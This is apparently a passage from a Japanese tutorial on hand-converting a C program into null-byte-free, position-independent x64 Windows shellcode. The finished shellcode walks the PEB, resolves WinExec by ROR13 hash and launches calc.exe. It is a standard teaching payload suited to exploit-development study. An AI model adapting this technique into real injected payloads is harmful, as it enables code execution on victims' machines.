+ mov    bl,0x60      #RBX = 0x0000000000000060
+ mov    rax,gs:[rbx] #RAX = GS:[RBX] = GS:[0x00000060] = PEB
+ xor    rbx,rbx      #RBX = 0

mov命令の仕様に基づいた正確な説明は下記の通りです[参考1][参考2]

  • In 64-bit mode, the instruction’s default operation size is 32 bits.
  • In 64-bit code, ‘movabs’ can be used to encode the ‘mov’ instruction with the 64-bit displacement or immediate operand.
    64ビットモードであっても、mov命令はオペランドを32ビットと解釈します。つまり、該当箇所1では第1オペランドにRAXを指定していましたが、実際は下位32ビット(EAX)に対して操作が実行されます。64ビットの即値をコピーしたい場合は、movabs命令を使用することが推奨されています。
  • Both operands must be the same size, which can be a byte, a word, a doubleword, or a quadword.
    第1オペランドと第2オペランドは同じサイズでなければいけません。
  • The moffs8, moffs16, moffs32, and moffs64 operands specify a simple offset relative to the segment base, where 8, 16, 32, and 64 refer to the size of the data. The address-size attribute of the instruction determines the size of the offset, either 16, 32, or 64 bits.
    セグメント・ベースを基準としたアドレス指定方式の場合、オフセットのサイズは命令のアドレスサイズ属性に従います。

該当箇所1はGSセグメントを基準としたアドレス指定方式です。オフセットは命令のアドレスサイズ属性に従います。mov命令は、64ビットモードであってもオペランドを32ビットと解釈するので、アドレスサイズは32ビットです。よって、0x60は32ビットとして扱われ、0x00000060に変換されます。

該当箇所2~4,6

これらはコンパイラの都合で挿入されたnopのため、行ごと削除して問題ありません。

- 140001038:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0] ### 該当箇所2 ###
- 14000103f:   00
- 140001064:   0f 1f 40 00             nop    DWORD PTR [rax+0x0] ### 該当箇所3 ###
- 140001068:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0] ### 該当箇所4 ###
- 14000106f:   00
- 1400010e5:   66 66 66 0f 1f 84 00    data16 data16 nop WORD PTR [rax+rax*1+0x0] ### 該当箇所6 ###
- 1400010ec:   00 00 00 00

該当箇所5

実効アドレス計算のオフセット(0x88)にナルバイトが含まれています。原理は該当箇所1と同じであるため、同様の変更を施します。

- mov    ecx,DWORD PTR [rax+r14*1+0x88] ### 該当箇所5 ###
+ xor rbx,rbx
+ mov bl,0x88
+ add r14,rbx #R14 = R14+0x88
+ mov ecx,DWORD PTR [rax+r14]
+ sub r14,rBX #R14 = R14-0x88
+ xor rbx,rbx

該当箇所7

実効アドレス計算のオフセット自体(0x0)がナルバイトになっています。
一見、オフセット+0x0は意味が無いので、それを削除すればナルバイトを除去できるように思えます。しかし、アドレス指定方式とレジスタの組み合わせによっては、オフセットを必ず書かなければいけない場合があります。

アドレス指定方式とレジスタの組み合わせによっては、オフセットを必ず書かなければいけない

これがx64の仕様なのか、コンパイラやアセンブラの仕様なのかを調査しましたが、特定することができませんでしたので、深掘った解説は保留します。

今回は、ベースレジスタにRBPとR9を指定した場合のみ、オフセットが必ず組み込まれることを確認しました。これは、アドレッシングモードによらず適用され、例えばmov rbx,DWORD PTR [r9]をアセンブルしてから、生成されたオブジェクトファイルの逆アセンブル結果を見ると、当該命令がmov rbx,DWORD PTR [r9+0x0]へ変わっていることが確認されました。

そこで、ベースレジスタをRBPからR12へ変更しました。また、rcx*4を予め計算しておくことで、アドレス指定方式を、インデックスアドレス指定方式から間接アドレス指定方式へ変更しました。
インデックスの計算は、rcx*4に相当する処理を、論理左シフト命令shl rcx,2で再現しています。

- mov    ebx,DWORD PTR [rbp+rcx*4+0x0] ### 該当箇所7 ###
+ shl rcx,2
+ add r12,rcx
+ mov ebx,DWORD PTR [r12]

該当箇所8

callの直前にナルバイトを含む命令があります。これは、WinExecの第一引数として、"calc.exe"をRCXへ代入する処理です。

/* ソースコード */
((WINEXEC)winExec)("calc.exe", 0);
/* アセンブリ */
140001128:   48 8d 0d 11 11 00 00    lea    rcx,[rip+0x1111]        // 0x140002240

一般に、PEファイル形式において、ソースコードにハードコーディングされた文字列は、読み取り専用のデータセクション(.rdata)に配置されます。今回は、.rdata内の0x140002240に文字列が配置されたため、RCXに0x140002240が代入されました。実際に、当該箇所を見にいくと、"calc.exe"が存在することを確認できます。

Disassembly of section .rdata:

0000000140002000 <.rdata>:
   140002000:   56                      push   rsi
   140002001:   2e 00 00                cs add BYTE PTR [rax],al
   140002004:   00 00                   add    BYTE PTR [rax],al
   140002006:   00 00                   add    BYTE PTR [rax],al
   140002008:   7a 2d                   jp     0x140002037
   14000200a:   00 00                   add    BYTE PTR [rax],al
   14000200c:   00 00                   add    BYTE PTR [rax],al
中略
   140002239:   ff                      (bad)
   14000223a:   ff                      (bad)
   14000223b:   ff                      (bad)
   14000223c:   ff                      (bad)
   14000223d:   ff                      (bad)
   14000223e:   ff                      (bad)
   14000223f:   ff 63 61                jmp    QWORD PTR [rbx+0x61] # \xff 'c' 'a'
   140002242:   6c                      ins    BYTE PTR es:[rdi],dx # 'l'
   140002243:   63 2e                   movsxd ebp,DWORD PTR [rsi]  # 'c' '.'
   140002245:   65 78 65                gs js  0x1400022ad          # 'e' 'x' 'e'
以下略
140001128:   48 8d 0d 11 11 00 00    lea    rcx,[rip+0x1111]      // 0x140002240

この命令では、アドレス指定方式として、PC相対アドレス指定が使われています。PC相対アドレス指定とは、RIPとオフセット用いて特定のアドレスを指定することです。RIPには、常に次に実行する命令のアドレスが格納されており、実行時にRIPをベースとしてアドレスを計算することで、プログラムを位置独立で動作させることが可能になります。

  • "calc.exe" = RIP+0x1111 = 14000112f+0x1111 = 0x140002240

前半で、jmpのオペランドをラベルに張り替える作業をしましたが、それは絶対アドレスをPC相対アドレスへ変換するためでした。

シェルコードは、PEファイル形式でないため、セクションを構成することはできません。よって、.rdataにある文字列は使えず、別の場所へ移す必要があります。

シェルコードで文字列を参照する方法は様々なものが存在しますが、今回はStack Stringsという、スタック上に文字列を生成する最もシンプルな方法を使います。具体的には、参照したい文字列をスタックへpushすると、自然とRSPが文字列の先頭を指すので、それをそのまま文字列ポインタとして使用します。例えば、文字列終端を含めた"calc.exe\0"をスタックにpushし、RSPをECXへ代入すれば、第一引数に"calc.exe\0"を格納できます。

Stack Stringsの他に、callを使って命令間に文字列を配置する方法、Virtual Allocでメモリ領域を確保し文字列を格納する方法などもありますが、この記事では解説しません。

"calc.exe"は8バイトであるため、64ビットのレジスタにぴったり格納できます。文字列終端(\0)をpushした後、"calc.exe"を格納したレジスタをpushすれば完成です。ただし、レジスタへはリトルエンディアンで格納されるため、格納段階で逆順("exe.clac")にする必要があります。また、64ビットのレジスタへの格納はmovではなくmovabsを使うことも忘れてはいけません。

- lea    rcx,[rip+0x1111] ### 該当箇所8 ###
+ push rdx #push '\0'
+ movabs rcx,0x6578652E636C6163 #movabs rcx,"exe.clac"
+ push rcx #push "calc.exe"
+ mov rcx,rsp

以上で、Bad Charactersの除去が終わりました。
除去が完了した結果を示します。アドレス、及び機械語は削除しています。

逆アセンブル結果4
	xor rbx,rbx
	mov bl,0x60
	mov rax,gs:[rbx]
	xor rbx,rbx
	mov r14d,ebx
	mov rcx,QWORD PTR [rax+0x18]
	mov r11,QWORD PTR [rcx+0x20]
	mov r10,QWORD PTR [r11]
	cmp r10,r11
	je .end_of_dll
.dll_search:
	mov r9,QWORD PTR [r10+0x50]
	test r9,r9
	je .next_dll
	mov eax,ebx
	mov rdx,0xffffffffffffffff
.wcslen:
	inc rdx
	cmp WORD PTR [r9+rdx*2],ax
	jne .wcslen
	mov r8,rbx
	test rdx,rdx
	je .next_dll
.wror13:
	movzx ecx,WORD PTR [r9+r8*2]
	inc r8
	ror eax,0xd
	add eax,ecx
	cmp r8,rdx
	jb .wror13
	cmp eax,0x6e2bca17
	je .dll_is_found
.next_dll:
	mov r10,QWORD PTR [r10]
	cmp r10,r11
	jne .dll_search
	jmp .dll_is_found
.dll_is_found:
	mov r14,QWORD PTR [r10+0x20]
.end_of_dll:
	movsxd rax,DWORD PTR [r14+0x3c]
	mov r10d,ebx
	xor rbx,rbx
	mov bl,0x88
	add r14,rbx
	mov ecx,DWORD PTR [rax+r14]
	sub r14,rBX
	xor rbx,rbx
	add rcx,r14
	mov r11d,DWORD PTR [rcx+0x20]
	mov esi,DWORD PTR [rcx+0x24]
	add r11,r14
	xor r12,r12
	mov r12d,DWORD PTR [rcx+0x1c]
	add rsi,r14
	mov edi,DWORD PTR [rcx+0x18]
	add r12,r14
	test edi,edi
	je .exec_winexec
.func_search:
	mov r9d,DWORD PTR [r11]
	add r9,r14
	je .next_func
	mov ecx,ebx
	mov rdx,0xffffffffffffffff
.strlen:
	inc rdx
	cmp BYTE PTR [r9+rdx*1],cl
	jne .strlen
	mov r8,rbx
	test rdx,rdx
	je .next_func
.ror13:
	movsx eax,BYTE PTR [r9+r8*1]
	inc r8
	ror ecx,0xd
	add ecx,eax
	cmp r8,rdx
	jb .ror13
	cmp ecx,0xe8afe98
	je .func_is_found
.next_func:
	inc r10d
	add r11,0x4
	cmp r10d,edi
	jb .func_search
	jmp .exec_winexec
.func_is_found:
	mov eax,r10d
	movzx ecx,WORD PTR [rsi+rax*2]
	shl rcx,2
	add r12,rcx
	mov ebx,DWORD PTR [r12]
	add rbx,r14
.exec_winexec:
	xor rdx,rdx
	push rdx
	movabs rcx,0x6578652E636C6163
	push rcx
	mov rcx,rsp
	call rbx #Call WinExec

アライメントの調整

これまでの処理で、シェルコードへの変換はほとんど終わりました。最後に、RSPのアライメントの調整をします。

アライメントとは、レジスタの値や特定のデータの位置が、「キリのいい値」になっていることです。「キリの良さ」はCPUの実装依存ですが、ほとんどはアドレスがバイト単位で2の倍数4の倍数8の倍数になっていることが求められ、それぞれ16ビット境界32ビット境界64ビット境界などと呼ばれます。

特定の命令は、RSPの値がアライメントされていることを求めており、アライメントされていない場合に例外を吐くことがあります。通常、ソースコードからプログラムをコンパイルした時は、コンパイラがアライメントを考慮してRSPの値を調整してくれますが、今回は手作業でプロローグやエピローグを削除したり、スタック上に文字列を生成したりしているため、RSPがアライメントされていません。

実際に、現段階のシェルコードをアセンブルして実行すると、WinExecの処理の途中でAccess Violationが発生します。

図5.png
上図:WinExecを呼び出す直前の様子。RSPの値は0x000000EE825FFA58である。

図6.png
上図:WinExecの関数内でAccess Violationが発生した様子。movapsがRSPの16ビット境界を要しているため、例外が発生した。

これを避けるためには、WinExecを呼び出す前にESPの値が16ビット境界になるよう調整すれば問題ありません。

- push rcx #push "calc.exe"
- mov rcx,rsp
- call rbx
+ push rcx #push "calc.exe"
+ mov rcx,rsp
+ add rsp,0x18 #Alignment
+ call rbx

バイトコードへの変換

以上で、シェルコードが完成しました。
アセンブリの形式へ整形したものを下記に示します。

完成したシェルコード
shellcode_x64_windows.asm
.intel_syntax noprefix

.section .text
  .global _start
_start:
  xor rbx,rbx
  mov bl,0x60 #RBX = 0x0000000000000060
  mov rax,gs:[rbx] #RAX = GS:[0x60] = PEB
  xor rbx,rbx
  mov r14d,ebx
  mov rcx,QWORD PTR [rax+0x18] #RCX = imageBase
  mov r11,QWORD PTR [rcx+0x20] #R11 = start
  mov r10,QWORD PTR [r11] #R10 = entry
  cmp r10,r11
  je .end_of_dll
.dll_search:
  mov r9,QWORD PTR [r10+0x50] #R9 = DllName
  test r9,r9
  je .next_dll
  mov eax,ebx
  mov rdx,0xffffffffffffffff
.wcslen:
  inc rdx
  cmp WORD PTR [r9+rdx*2],ax
  jne .wcslen
  mov r8,rbx
  test rdx,rdx
  je .next_dll
.wror13:
  movzx ecx,WORD PTR [r9+r8*2]
  inc r8
  ror eax,0xd
  add eax,ecx
  cmp r8,rdx #if i == wcslen(DllName)
  jb .wror13
  cmp eax,0x6e2bca17 #if EAX == target
  je .dll_is_found
.next_dll:
  mov r10,QWORD PTR [r10] #entry = entry->Flink
  cmp r10,r11 #if entry == start
  jne .dll_search
  jmp .dll_is_found
.dll_is_found:
  mov r14,QWORD PTR [r10+0x20] #R14 = DllBase
.end_of_dll:
  movsxd rax,DWORD PTR [r14+0x3c] #RAX = NtHeader
  mov r10d,ebx #i = 0
  xor rbx,rbx
  mov bl,0x88
  add r14,rbx #R14 = R14+0x88
  mov ecx,DWORD PTR [rax+r14] #mov ecx,DWORD PTR [rax+r14*1+0x88] => mov ecx,DWORD    PTR [rax+r14]
  sub r14,rBX #R14 = R14-0x88
  xor rbx,rbx
  add rcx,r14 #RCX = ExportDirectory
  mov r11d,DWORD PTR [rcx+0x20]
  mov esi,DWORD PTR [rcx+0x24]
  add r11,r14 #R11 = rvaOfNameOrdinals
  xor r12,r12
  mov r12d,DWORD PTR [rcx+0x1c]
  add rsi,r14 #RSI = rvaOfNames
  mov edi,DWORD PTR [rcx+0x18] #RDI = NumberOfNames
  add r12,r14 #RBP = rvaOfFunctions
  test edi,edi
  je .exec_winexec
.func_search:
  mov r9d,DWORD PTR [r11]
  add r9,r14
  je .next_func
  mov ecx,ebx
  mov rdx,0xffffffffffffffff
.strlen:
  inc rdx
  cmp BYTE PTR [r9+rdx*1],cl
  jne .strlen
  mov r8,rbx
  test rdx,rdx
  je .next_func
.ror13:
  movsx eax,BYTE PTR [r9+r8*1]
  inc r8
  ror ecx,0xd
  add ecx,eax
  cmp r8,rdx #if R8 == strlen()
  jb .ror13
  cmp ecx,0xe8afe98 #if RCX == target
  je .func_is_found
.next_func:
  inc r10d #i++
  add r11,0x4
  cmp r10d,edi #if i > NumberOfNames
  jb .func_search
  jmp .exec_winexec
.func_is_found:
  mov eax,r10d
  movzx ecx,WORD PTR [rsi+rax*2]
  shl rcx,2
  add r12,rcx
  mov ebx,DWORD PTR [r12] #mov ebx,DWORD PTR [rbp+rcx*4+0x0] => shl rcx,2 add r12,rcx mov ebx,DWORD PTR [r12]
  add rbx,r14 #RBX = WinExec
.exec_winexec:
  xor rdx,rdx
  push rdx #push '\0'
  movabs rcx,0x6578652E636C6163 #"calc.exe"
  push rcx
  mov rcx,rsp
  add rsp,0x18 #Alignment
  call rbx #Call WinExec

完成したアセンブリをバイナリへ変換します。ツールはnasmを使用しました。nasmは公式HPからダウンロードできます)。
-f binオプションを付けることにより、ラベルを張ったアドレスがPC相対アドレスに変換され、位置独立で動作するコードになります。

nasm -f bin -o shellcode_x64_windows.bin shellcode_x64_windows.asm

以上、お疲れ様でした。
最後までお読み頂き、ありがとうございます。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?